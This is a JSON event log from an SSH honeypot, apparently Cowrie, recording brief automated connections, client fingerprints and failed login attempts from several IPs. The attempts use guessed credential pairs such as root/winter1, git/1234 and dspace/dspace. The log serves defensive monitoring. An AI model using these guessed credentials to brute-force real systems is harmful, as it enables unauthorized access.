{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:24.962523Z","src_ip":"103.176.20.57","session":"3c9a81e0d79a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"winter1","message":"login attempt [root/winter1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:25.703946Z","src_ip":"103.176.20.57","session":"3c9a81e0d79a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":48624,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c363d6c01db","protocol":"ssh","message":"New connection: 91.92.42.133:48624 (159.203.135.109:22) [session: 4c363d6c01db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:26.491908Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:26.950694Z","src_ip":"103.176.20.57","session":"3c9a81e0d79a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:27.005106Z","src_ip":"91.92.42.133","session":"4c363d6c01db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:27.010006Z","src_ip":"91.92.42.133","session":"4c363d6c01db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":51920,"dst_ip":"159.203.135.109","dst_port":22,"session":"5574b464bc3e","protocol":"ssh","message":"New connection: 91.92.40.171:51920 (159.203.135.109:22) [session: 5574b464bc3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:27.167495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:27.267683Z","src_ip":"91.92.40.171","session":"5574b464bc3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:27.270667Z","src_ip":"91.92.40.171","session":"5574b464bc3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test3","password":"1","message":"login attempt [test3/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:27.852615Z","src_ip":"91.92.40.171","session":"5574b464bc3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1234","message":"login attempt [git/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:29.012397Z","src_ip":"91.92.42.133","session":"4c363d6c01db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:29.042912Z","src_ip":"91.92.40.171","session":"5574b464bc3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:30.402606Z","src_ip":"91.92.42.133","session":"4c363d6c01db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":51998,"dst_ip":"159.203.135.109","dst_port":22,"session":"4834988c872a","protocol":"ssh","message":"New connection: 91.92.40.171:51998 (159.203.135.109:22) [session: 4834988c872a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:32.565491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:32.737554Z","src_ip":"91.92.40.171","session":"4834988c872a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:32.740940Z","src_ip":"91.92.40.171","session":"4834988c872a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"1","message":"login attempt [teamspeak/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:33.540365Z","src_ip":"91.92.40.171","session":"4834988c872a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":48678,"dst_ip":"159.203.135.109","dst_port":22,"session":"e974908c6532","protocol":"ssh","message":"New connection: 91.92.42.133:48678 (159.203.135.109:22) [session: e974908c6532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:34.099408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:34.628998Z","src_ip":"91.92.42.133","session":"e974908c6532","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:34.635235Z","src_ip":"91.92.42.133","session":"e974908c6532","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:34.835625Z","src_ip":"91.92.40.171","session":"4834988c872a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":58596,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d5142ec7ef0","protocol":"ssh","message":"New connection: 38.93.206.2:58596 (159.203.135.109:22) [session: 1d5142ec7ef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:34.916254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:34.922296Z","src_ip":"38.93.206.2","session":"1d5142ec7ef0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:34.974187Z","src_ip":"38.93.206.2","session":"1d5142ec7ef0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"09121985","message":"login attempt [root/09121985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:35.149762Z","src_ip":"38.93.206.2","session":"1d5142ec7ef0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:36.151824Z","src_ip":"91.92.42.133","session":"e974908c6532","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:36.203081Z","src_ip":"38.93.206.2","session":"1d5142ec7ef0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:37.364698Z","src_ip":"91.92.42.133","session":"e974908c6532","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":43626,"dst_ip":"159.203.135.109","dst_port":22,"session":"423525128129","protocol":"ssh","message":"New connection: 91.92.40.171:43626 (159.203.135.109:22) [session: 423525128129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:38.176401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:38.273318Z","src_ip":"91.92.40.171","session":"423525128129","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:38.352979Z","src_ip":"91.92.40.171","session":"423525128129","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:38.841745Z","src_ip":"91.92.40.171","session":"423525128129","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:39.959373Z","src_ip":"91.92.40.171","session":"423525128129","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":52492,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad4a4f8d956a","protocol":"ssh","message":"New connection: 91.92.42.133:52492 (159.203.135.109:22) [session: ad4a4f8d956a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:41.827346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:42.243378Z","src_ip":"91.92.42.133","session":"ad4a4f8d956a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:42.246979Z","src_ip":"91.92.42.133","session":"ad4a4f8d956a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":43680,"dst_ip":"159.203.135.109","dst_port":22,"session":"09458a5d2da0","protocol":"ssh","message":"New connection: 91.92.40.171:43680 (159.203.135.109:22) [session: 09458a5d2da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:44.013321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:44.243353Z","src_ip":"91.92.40.171","session":"09458a5d2da0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:44.246424Z","src_ip":"91.92.40.171","session":"09458a5d2da0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fred","password":"fred","message":"login attempt [fred/fred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:44.622467Z","src_ip":"91.92.42.133","session":"ad4a4f8d956a","protocol":"ssh"}
